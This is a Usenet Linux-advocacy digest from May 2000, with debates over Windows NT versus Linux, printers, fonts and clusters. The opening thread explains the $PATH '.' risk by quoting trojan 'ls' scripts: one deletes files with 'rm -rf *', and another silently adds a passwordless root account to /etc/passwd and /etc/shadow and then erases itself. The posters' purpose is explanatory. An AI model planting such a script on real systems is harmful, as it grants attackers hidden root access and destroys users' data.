Linux-Advocacy Digest #547, Volume #26 Tue, 16 May 00 21:13:05 EDT
Contents:
Re: at the risk of ignorance...a little too late for that
Need ideas for university funded project for linux (Mongoose)
Re: Things Linux can't do! (Leslie Mikesell)
Re: Things Linux can't do! ("John S. Dyson")
Re: Linux lacks (JEDIDIAH)
Beowulf (mlw)
Re: Ten Reasons Why Linux Sucks (Charles M)
Re: Yet another backdoor in MS software (David Steinberg)
Re: Why only Microsoft should be allowed to create software (WickedDyno)
Re: Why only Microsoft should be allowed to create software (Alan Boyd)
Re: Linux lacks (Leslie Mikesell)
Re: X Windows must DIE!!! (Oleg Letsinsky)
Re: Why only Microsoft should be allowed to create software (tinman)
Re: Ten Reasons Why Linux Sucks (JEDIDIAH)
Re: Yet another backdoor in MS software (JEDIDIAH)
Re: Ten Reasons Why Linux Sucks (mlw)
Re: Desktop use, office apps (Christopher Browne)
Re: Here is the solution (Christopher Browne)
Re: X Windows must DIE!!! (Christopher Browne)
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From: [EMAIL PROTECTED] ()
Crossposted-To: rec.games.roguelike.nethack
Subject: Re: at the risk of ignorance...a little too late for that
Date: 16 May 2000 19:47:29 -0400
Karl Knechtel <[EMAIL PROTECTED]> spewed this unto the Network:
>[EMAIL PROTECTED] wrote:
>
>> David Steinberg <[EMAIL PROTECTED]> spewed this unto the Network:
>>
>> >There is a simple security reason for it.
>> >Say some nasty person manages to put a shell script like this
>> >
>> >#!/bin/sh
>> >rm -rf *
>> >
>> >in your home directory, calls it "ls," and makes it executible. The first
>> >time you type "ls" in your home directory, you lose all your personal
>> >data. Oops!
>Yes, but I was talking about this in the context of a single-user system.
The question was about why "." is either the last entry in $PATH, or
is not there at all by default. The security problem it solves is
a problem that affects mostly multi-user systems.
>> That's what you get for making your home directory world-writable.
>> Now say you're the super-user, and you go into someone else's home
>> directory and run this:
>>
>> #!/bin/bash
>>
>> # Append an unpassworded super-user to /etc/passwd and /etc/shadow
>> # and pray that this isn't System V:
>>
>> echo 'evil::0:0:Root of All Evil:/:/bin/bash' >> /etc/passwd
>> echo 'evil::10865:0:99999:7:::' >> /etc/shadow
>> # Now prevent the admin from discovering the hack:
>> rm -f $0
>> exec /bin/ls "$@"
>> # Now here's a security hole.
>> # End of program.
>But if you're already "the super-user", what's the point?
The script isn't for you, it's for the person that wrote it.
If you're the super-user, and script belongs to another user on
your system, and the script is named "ls", and you run "ls" in
the directory containing this script, and "." is before "/bin" in
your $PATH, you end up creating an unpassworded super-user account
(that the script's author can use to become root) without knowing it.
--
Have you re-installed your operating system today?
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From: Mongoose <[EMAIL PROTECTED]>
Crossposted-To:
comp.os.linux,comp.os.linux.development,comp.os.linux.development.apps,comp.os.linux.development.system,comp.os.linux.misc,comp.os.linux.setup
Subject: Need ideas for university funded project for linux
Reply-To: [EMAIL PROTECTED]
Date: Tue, 16 May 2000 23:47:56 GMT
Hello,
I am attempting to start a college project and have two of my
ideas already being worked on. So I wanted to know what other people
had for suggestions for linux projects? I was thinking of something
along the lines of a project that would help promote the use of linux.
What is something that most people could use? Something that could
make a good 1 year R&D project?
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From: [EMAIL PROTECTED] (Leslie Mikesell)
Crossposted-To: comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Things Linux can't do!
Date: 16 May 2000 18:44:56 -0500
In article <8fslr3$ckg$[EMAIL PROTECTED]>,
Stephen S. Edwards II <[EMAIL PROTECTED]> wrote:
>Just because something is someone else's "experience" doesn't
>automatically make it true. For example, in my experience, WindowsNT is a
>very stable and reliable platform. So why isn't my experience true?
Because you didn't do any of the many things that force you to
reboot, or run any of the apps that make the OS crash.
>Because it doesn't agree with your experience? So, why should I believe
>that your experience is true, since it doesn't agree with mine? Do you
>see where I'm getting at?
Try something simple, like loading the IP address via DHCP. Change
the netmask for the DHCP range on the server. DHCP should take care
if it on the client side, right? The D is for dynamic, as in
expecting changes...
>What it boils down to, Perry, is that you cannot argue anecdotal evidence
>as fact, because it can never be a fact. The only thing that can be a
>fact is something which can be proven. I cannot prove that WindowsNT is
>stable and reliable, just as neither you, nor Charlie can prove that it
>isn't.
How about if everyone who knows reproducable ways to make it
crash posts them? Well, maybe we don't have time for that.
>I think Paul's point is the same as mine. You cannot prove nor disprove
>an _opinion_, and opinions are all that Charlie is offering. In other
>words, what he's offering is useless blithering.
If you have a pair of machines, try the DHCP setting business - a
perfectly normal thing to expect for a changing network. Try
upgrading IE, Netscape, or Office without rebooting and disrupting
service to others.
>Using anecdotal evidence, and opinionated statements is no way to prove
>anything. The only thing it can be used for is to try to sway other
>people's opinions.
All you have to do is try some of the things and see for yourself.
Les Mikesell
[EMAIL PROTECTED]
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From: "John S. Dyson" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Things Linux can't do!
Date: Tue, 16 May 2000 18:50:17 -0500
Leslie Mikesell wrote:
> In article <8frvl8$1qs$[EMAIL PROTECTED]>,
> =?iso-8859-1?Q?Paul_'Z'_Ewande=A9?= <[EMAIL PROTECTED]> wrote:
> >
> >> >Of course, but do you know of sites that big that run on one x86 machine
> >?
> >>
> >> Ftp.cdrom.com has at various times been measured as the biggest single
> >> source of data on the internet. It has had at least 3000
> >> connections every time I've used it. It is a single x86 machine
> >> running freebsd and is rarely if ever down.
> >
> >I'm aware of ftp.cdrom.com, it's a lone FreeBSD box that can handle up to
> >3600 connections, but i'm not sure that it can really be compared to active
> >content sites such as www.microsoft.com , www.dell.com , www.ebay.com.
> >
> >I can of course be wrong. :)
>
> They are claiming a max of 5000 connections now. The activity isn't
> exactly the same, but I don't see any single NT boxes doing anything
> like that. With active content it is just a matter of spreading
> the load over enough boxes to handle it and mask the dead ones.
> The critical part is the backend database, but it doesn't have to
> deal with internet connections and in most cases probably isn't
> on NT either.
>
Historically, when I had my own T1, I could often get near T1 speeds for
my own transfers while ftp.cdrom.com was handling 2000+ other users.
In fact, I seem to remember getting impressive performance even recently,
when ftp.cdrom.com was serving 4000+ other users. (This is all with
no preferential treatment.)
ftp.cdrom.com is not only a single machine, but is a single-cpu machine.
--
John | Never try to teach a pig to sing,
[EMAIL PROTECTED] | it makes one look stupid
[EMAIL PROTECTED] | and it irritates the pig.
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From: [EMAIL PROTECTED] (JEDIDIAH)
Subject: Re: Linux lacks
Date: Tue, 16 May 2000 23:53:33 GMT
On Tue, 16 May 2000 19:37:46 -0400, Evan DiBiase <[EMAIL PROTECTED]>
wrote:
>"Leslie Mikesell" <[EMAIL PROTECTED]> wrote in message
>news:8fsaa6$2peo$[EMAIL PROTECTED]...
>> In article <[EMAIL PROTECTED]>,
>> Evan DiBiase <[EMAIL PROTECTED]> wrote:
>>
>> >It has nothing to do with video games. You said that it was impossible to
>> >prove that there was something that could be done better on Windows than
>> >Linux. I gave you an example. Running Microsoft Word could be another
>> >example.
>>
>> It runs perfectly under VMware with Linux as host, any flavor of
>> windows as guest, and displaying even on a remote Xwindow. Some
>> people are also running it under WINE.
>
>Oh, come on now. VMware is basically Windows on Linux, so you're using Word
>with Windows, not Linux. Besides, you wouldn't be using it "better" -- it
>would be slower, without a doubt.
Yup. However you get X remotability in the bargain. Alternately,
you could just run Word inside of Wine and take Windows out of
the picture.
>
>At any rate, I was trying to show the stupidity of Charlie's assertion, not
>to start a "Windows apps on Linux" flamefest :)
--
In what language does 'open' mean 'execute the evil contents of' |||
a document? --Les Mikesell / | \
Need sane PPP docs? Try penguin.lvcm.com.
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From: mlw <[EMAIL PROTECTED]>
Subject: Beowulf
Date: Tue, 16 May 2000 19:52:01 -0400
I have convinced the people, with which I currently work, to setup a
Beowulf cluster.
20 Nodes, 512M Ram, 2 36G hard disks, 24 port switch.
We are going to use it to research cluster management packages under
Linux/Freebsd.
The question I have for you guys:
Any good benchmarks programs to try?
Any good cluster management apps?
Any good reason to choose PVM over MPI? (I am leaning toward MPI.)
Any fun things, as in, stupid beowulf tricks, I should try?
--
Mohawk Software
Windows 9x, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit http://www.mohawksoft.com
"We've got a blind date with destiny, and it looks like she ordered the
lobster"
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From: Charles M <[EMAIL PROTECTED]>
Subject: Re: Ten Reasons Why Linux Sucks
Date: Tue, 16 May 2000 18:52:25 -0600
On Mon, 15 May 2000 20:50:21 -0400, mlw <[EMAIL PROTECTED]> wrote:
>Syphon wrote:
>>
<snip>
>
>>
>> 6. Supported printers? Damm better be a Postscript printer, linsux
>> seems to be the only folks using these printers these days....
>> Otherwise you will be burdened by some filter that a pimple faced geek
>> dreamed up that won't utilize 10 percent of your printers
>> capabilities.
>
>I have an HP 870cse, it is not a post script printer, but it works fin
>under Linux. Your claim is baseless.
>
>>
A bit OT but ,how does the HP 870ce do with color graphics like
reproducing photos? I'll have to admit that I think he had a valid
point here (even if trolling) in that I've never gotton the same
level of color reproduction out of the ghostscript drivers on Linux
that I get out of the manufacturers native Windows drivers.
I'm using an Epson Stylus color 900 right now, for instance ,and I've
tried other "near photgraphic" quality printers under Linux and for
photos I can't find any setting that gives me more than mediocre
quality, even though these printers produce very good results under
Windows. Any hints on how to achieve this?
CMM
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From: [EMAIL PROTECTED] (David Steinberg)
Crossposted-To: comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Yet another backdoor in MS software
Date: 16 May 2000 23:55:29 GMT
JEDIDIAH ([EMAIL PROTECTED]) wrote:
: >If you think UNIX is safe from viruses and hacks, think again. Or has the
: >sendmail virus been forgotten already?
: 12 years is certainly long enough to. <snicker>
Since all the winvoc-idiots think that pointing to this worm from 1988 is
a good comeback to the numerous worms that have appeared on Windows in
recent months and years, why don't we think about the competing tools from
Microsoft at the time of the sendmail worm...
Had Microsoft even HEARD of e-mail or the internet in 1988?
--
David Steinberg -o) In a world without walls
Computer Engineering Undergrad, UBC / \ and fences, who needs
[EMAIL PROTECTED] _\_v Windows and Gates?
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From: WickedDyno <[EMAIL PROTECTED]>
Crossposted-To:
comp.sys.mac.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy
Subject: Re: Why only Microsoft should be allowed to create software
Date: Tue, 16 May 2000 19:55:56 -0400
In article <bL%T4.486$[EMAIL PROTECTED]>, "Shock
Boy" <[EMAIL PROTECTED]> wrote:
>"Marty" <[EMAIL PROTECTED]> wrote in message
>news:[EMAIL PROTECTED]...
>> Erik Funkenbusch wrote:
>> >
>> > Craig Kelley <[EMAIL PROTECTED]> wrote in message
>> > news:[EMAIL PROTECTED]...
>> > > [EMAIL PROTECTED] (Full Name) writes:
>> > >
>> > > > On 8 May 2000 17:26:29 GMT,
>> > > > [EMAIL PROTECTED] (Darren Winsper)
>> > > > wrote:
>> > > >
>> > > > >
>> > > > >In Personal Computer World there was an interesting story about a
>> > > > >similar thing. When using Netscape on MS's web site, a certain
>page
>> > > > >would give a 404 error. However, when a pref was set to use an
>> > > > >IE-style User-Agent string, the same page came up perfectly.
>> > > > >Interesting...
>> > > >
>> > > > I've done a fair amount of WWW page development. IE is simply more
>> > > > forgiving with improperly syntaxed HTML than Netscape.
>> > >
>> > > Of course you know that a 404 doesn't come from the browser, right?
>> >
>> > It's pretty common to have content customized for a particular browser,
>>
>> That goes against the entire founding priciples and purpose of the web.
>
>
>Why should a website not offer me greater content simply because your
>browser of choice isn't capable of doing it?
>
>Yea, let's all go back to using Lynx and Mosaic, and no plug ins..
There's no problem with offering greater content, as long as it's
actually content and not just frippery, and as long as it doesn't
needlessly exclude those using uncommon browsers. For example, websites
that have a table of links to parts of their site down the side of their
page, where the links are graphics of text rather than text. This is
fine -- as long as they add in ALT text for each image so people using
Lynx and other non-graphical browsers can get around.
--
| Andrew Glasgow <[EMAIL PROTECTED]> |
| SCSI is *NOT* magic. There are *fundamental technical |
| reasons* why it is necessary to sacrifice a young goat |
| to your SCSI chain now and then. -- John Woods |
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From: Alan Boyd <[EMAIL PROTECTED]>
Crossposted-To:
comp.sys.mac.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy
Subject: Re: Why only Microsoft should be allowed to create software
Date: Tue, 16 May 2000 18:57:02 -0500
Erik Funkenbusch wrote:
>
> Craig Kelley <[EMAIL PROTECTED]> wrote in message
> news:[EMAIL PROTECTED]...
> > So Microsoft does have an advantage by allowing their application
> > group access to the Windows group. That's all were saying here.
>
> You keep reversing things. The Windows group has access to Application
> source code. MS guards the Windows source very tightly, they're not going
> to just let anyone in the company have access to it.
>
> If the Apps division had access to Windows source, they wouldn't need to
> have a completely seperate implementation in their apps. (And in reality, I
> highly doubt that the OS division uses much source code from the Apps
> anyways, more than likely that code is highly application specific. They
> would need to rewrite it to be generic for an OS. Basicly the Apps division
> floats the concept to users in the office apps, if it gets good feedback,
> they write something similar for the OS).
Oh, so Gates is off his rocker when he claims that Windows wouldn't be
what it is today without those close ties? The OS developers could
easily look at a finished Office app (float the concept), see something
they like (get good feedback) and code it themselves (write something
similar for the OS). After all they don't "uses much source code from
the Apps anyways".
OK, that's settled, Erik has spoken. Break them up!
--
"I don't believe in anti-anything. A man has to have a
program; you have to be *for* something, otherwise you
will never get anywhere." -- Harry S Truman
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From: [EMAIL PROTECTED] (Leslie Mikesell)
Subject: Re: Linux lacks
Date: 16 May 2000 18:52:17 -0500
In article <[EMAIL PROTECTED]>,
Evan DiBiase <[EMAIL PROTECTED]> wrote:
>> It runs perfectly under VMware with Linux as host, any flavor of
>> windows as guest, and displaying even on a remote Xwindow. Some
>> people are also running it under WINE.
>
>Oh, come on now. VMware is basically Windows on Linux, so you're using Word
>with Windows, not Linux. Besides, you wouldn't be using it "better" -- it
>would be slower, without a doubt.
It is better if you want to work from X on a remote machine. And
VMware gives you an option where the startup disk image is
not changed until you end the session, at which point you have
a choice to ignore the logged changes and pretend none of it
happened. Just think how much better that would have been for
the people hit by the ILOVEYOU bug. They could just start the
session up again with their files still intact.
>At any rate, I was trying to show the stupidity of Charlie's assertion, not
>to start a "Windows apps on Linux" flamefest :)
Nothing wrong with a good flamefest in an advocacy group.
Les Mikesell
[EMAIL PROTECTED]
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From: Oleg Letsinsky <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.x
Subject: Re: X Windows must DIE!!!
Date: 17 May 2000 02:25:53 +0400
Johan Kullstam <[EMAIL PROTECTED]> writes:
> > >i still have to stare at the screen all day. i want to have a
> > >readable font for that too.
> >
> > 'Readable' or 'pretty'?
>
> readable as in legible and not annoying with use.
>
> i want a decent monospaced font which has bold, slanted and
> bold&slanted variants. it should come in a size which is easy to read
> and not overly large.
>
> i run a 17" screen (a little over 15" of viewing area) at 1152x864.
>
Use Windows! Use it for the only reasonable purpose - "disassemble" it
and pick up its fonts :-)
- 'Tahoma' font is a great one for menus, dialogs, etc. Just choose the
proper size (11 is the best for me). The best candidate for KDE
"General Font", IMO.
- 'Verdana' and 'Lucida' are good too.
- 'Courier New' is a good mono-spaced font - although I prefer 'Cronyx
Courier' (PCF, koi8-r) for XEmacs.
You can also get "Nucleus" font pack from
Freshmeat. "Helvetica(Mozilla)" is the best (IMO) font for a
browser.
--
Weekends were made for programming.
- Karl Lehenbauer
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From: [EMAIL PROTECTED] (tinman)
Crossposted-To:
comp.sys.mac.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy
Subject: Re: Why only Microsoft should be allowed to create software
Date: Tue, 16 May 2000 20:10:40 -0400
In article <392128ec$4$obot$[EMAIL PROTECTED]>, Bob Germer
<[EMAIL PROTECTED]> wrote:
> On 05/16/2000 at 04:37 AM,
> "Erik Fuc kingliar" <[EMAIL PROTECTED]> said:
>
> > The MSDN documentation isn't always up to date, the latest Win32 SDK
> > (now Platform SDK) is the most recent source. For instance, the
> > Platform SDK was changed in April, this won't appear on the MSDN until
> > July or maybe even October. But you can download the information for
> > free from the SDK site.
>
> More proof that you are a fucking liar planted here by that convicted
> criminal Bill Gates. Bill Gates is losing millions a week personally and
> belongs in jail. So do you. If stupidity were a crime you'd be getting the
> needle.
>
So Bob, about that country club, I've just _got_ to see the place, where
is it? ("
--
______
tinman
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From: [EMAIL PROTECTED] (JEDIDIAH)
Subject: Re: Ten Reasons Why Linux Sucks
Date: Wed, 17 May 2000 00:18:20 GMT
On Tue, 16 May 2000 18:52:25 -0600, Charles M <[EMAIL PROTECTED]> wrote:
>On Mon, 15 May 2000 20:50:21 -0400, mlw <[EMAIL PROTECTED]> wrote:
>
>>Syphon wrote:
>>>
><snip>
>>
>>>
>>> 6. Supported printers? Damm better be a Postscript printer, linsux
>>> seems to be the only folks using these printers these days....
>>> Otherwise you will be burdened by some filter that a pimple faced geek
>>> dreamed up that won't utilize 10 percent of your printers
>>> capabilities.
>>
>>I have an HP 870cse, it is not a post script printer, but it works fin
>>under Linux. Your claim is baseless.
>>
>>>
>
>A bit OT but ,how does the HP 870ce do with color graphics like
>reproducing photos? I'll have to admit that I think he had a valid
>point here (even if trolling) in that I've never gotton the same
>level of color reproduction out of the ghostscript drivers on Linux
The GS drivers likely have nothing to do with it. A colorspace
translation needs to be done at the applications level. It's
likely that transform (or lack thereof) that is your problem.
This is the key area where Gimp is not a complete photoshop
clone.
[deletia]
Try printing your Windows output to a PS file and see how well
that turns out under Linux.
--
In what language does 'open' mean 'execute the evil contents of' |||
a document? --Les Mikesell / | \
Need sane PPP docs? Try penguin.lvcm.com.
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From: [EMAIL PROTECTED] (JEDIDIAH)
Crossposted-To: comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Yet another backdoor in MS software
Date: Wed, 17 May 2000 00:22:28 GMT
On 16 May 2000 23:55:29 GMT, David Steinberg <[EMAIL PROTECTED]> wrote:
>JEDIDIAH ([EMAIL PROTECTED]) wrote:
>: >If you think UNIX is safe from viruses and hacks, think again. Or has the
>: >sendmail virus been forgotten already?
>
>: 12 years is certainly long enough to. <snicker>
>
>Since all the winvoc-idiots think that pointing to this worm from 1988 is
>a good comeback to the numerous worms that have appeared on Windows in
>recent months and years, why don't we think about the competing tools from
>Microsoft at the time of the sendmail worm...
>
>Had Microsoft even HEARD of e-mail or the internet in 1988?
I remember those days. A Packard Hell 8088 clone with 640K,
CGA and a 10M HD would set you back $1000.
I'm not sure that DOS had 'heard of' networking of any kind
by that point...
It certainly didn't seem quite as exploitable as the file and
printserving facilities MacOS had then.
--
In what language does 'open' mean 'execute the evil contents of' |||
a document? --Les Mikesell / | \
Need sane PPP docs? Try penguin.lvcm.com.
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From: mlw <[EMAIL PROTECTED]>
Subject: Re: Ten Reasons Why Linux Sucks
Date: Tue, 16 May 2000 20:22:58 -0400
Charles M wrote:
>
> On Mon, 15 May 2000 20:50:21 -0400, mlw <[EMAIL PROTECTED]> wrote:
>
> >Syphon wrote:
> >>
> <snip>
> >
> >>
> >> 6. Supported printers? Damm better be a Postscript printer, linsux
> >> seems to be the only folks using these printers these days....
> >> Otherwise you will be burdened by some filter that a pimple faced geek
> >> dreamed up that won't utilize 10 percent of your printers
> >> capabilities.
> >
> >I have an HP 870cse, it is not a post script printer, but it works fin
> >under Linux. Your claim is baseless.
> >
> >>
>
> A bit OT but ,how does the HP 870ce do with color graphics like
> reproducing photos? I'll have to admit that I think he had a valid
> point here (even if trolling) in that I've never gotton the same
> level of color reproduction out of the ghostscript drivers on Linux
> that I get out of the manufacturers native Windows drivers.
> I'm using an Epson Stylus color 900 right now, for instance ,and I've
> tried other "near photgraphic" quality printers under Linux and for
> photos I can't find any setting that gives me more than mediocre
> quality, even though these printers produce very good results under
> Windows. Any hints on how to achieve this?
The OEM printer drivers under Windows are actually very specialized
rasterizing programs designed especially for the hardware. For me, photo
printing is not an issue. I am an amateur photographer and find even the
best home/office printer sorely lacking (yes, even under Windows), I
don't consider bad and "less bad" really selling points. I can produce
and edit photo quality images, print them so see what the print will
eventually look like. Then I take it to a service house with some real
imaging hardware. (These do NOT run Windows BTW.)
I know this is sort of dodging the point, but, it is a real issue. The
printers are getting better of course, but they are still inadequate for
any real imaging work. To argue that this environment is better than
that, because its printing of pictures is less inadequate with existing
hardware, is a ridiculous position.
--
Mohawk Software
Windows 9x, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit http://www.mohawksoft.com
"We've got a blind date with destiny, and it looks like she ordered the
lobster"
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From: [EMAIL PROTECTED] (Christopher Browne)
Subject: Re: Desktop use, office apps
Reply-To: [EMAIL PROTECTED]
Date: Wed, 17 May 2000 00:27:42 GMT
Centuries ago, Nostradamus foresaw a time when Raymond Swaim would say:
>Actually, when you stop and think about it, MS Office doesn't load that much
>more
>quickly than Staroffice or WordPerfect Office. MS Office keeps a portion of
>itself
>in your Startup folder so that it's already in RAM when you launch it.
>Remove the "Microsoft Office" file from your Startup folder and
>you'll see it take considerably longer to load.
Or, correspondingly, if you put something into /etc/init.d that would
go through some set of applications thusly, and get them loaded into
memory:
APPS=applix netscape gnumeric xess
echo > /tmp/ldlist
for app in $APPS; do
echo `which $app` >> /tmp/ldlist
ldd `which $app` | cut -f 3 >> /tmp/ldlist
done
sort /tmp/ldlist | uniq > /tmp/ldlist2
for file in `cat /tmp/ldlist2`; do
cat $file > /dev/null
done
--
"A touchstone to determine the actual worth of an ``intellectual'' --
find out how he feels about astrology." - Lazarus Long
[EMAIL PROTECTED] <http://www.hex.net/~cbbrowne/lsf.html>
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From: [EMAIL PROTECTED] (Christopher Browne)
Crossposted-To:
comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.mac.advocacy
Subject: Re: Here is the solution
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Date: Wed, 17 May 2000 00:27:41 GMT
Centuries ago, Nostradamus foresaw a time when [EMAIL PROTECTED] would say:
>In <[EMAIL PROTECTED]>,
>[EMAIL PROTECTED] (Bob Hauck) writes:
>Isn't VMS a batch OS underneath, like MVS? I suppose you might replace
>some OS/2 server usage with that; but, what about the interactive stuff.
>I don't imagine VMS is exactly overflowing with word processors and
>stuff... Doesn't seem a likely choice to me.
The last time I was logged into a VMS system, I ran WordPerfect.
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From: [EMAIL PROTECTED] (Christopher Browne)
Crossposted-To: comp.os.linux.x
Subject: Re: X Windows must DIE!!!
Reply-To: [EMAIL PROTECTED]
Date: Wed, 17 May 2000 00:27:45 GMT
Centuries ago, Nostradamus foresaw a time when Leslie Mikesell would say:
>In article <[EMAIL PROTECTED]>,
>I R A Darth Aggie <no-courtesy-copies-please> wrote:
>>On Tue, 16 May 2000 01:44:54 GMT,
>>Johan Kullstam <[EMAIL PROTECTED]>, in
>><[EMAIL PROTECTED]> wrote:
>>+ i have done that, but i am still not satisfied. how many 19 or 20
>>+ pixel high, unscaled, monospaced fonts with a full complement of
>>+ normal, bold, slanted and bold/slant variants are there? none as far
>>+ as i can tell.
>>
>>Well, on my system, you've got a choice of Courier (Adobe), Courier
>>(Bitstream) and lucidatypwriter.
>
>He said he didn't want scaled fonts, although I don't understand
>why. The postscript and truetype fonts are going to be scaled
>unless you convert them.
Postscript and TrueType fonts are the variety that don't _suffer_ from
scaling. As outline fonts, they have to get scaled in order to be
used.
The problem with scaling is when you try to scale a bitmapped font,
and thus degrade the bitmap.
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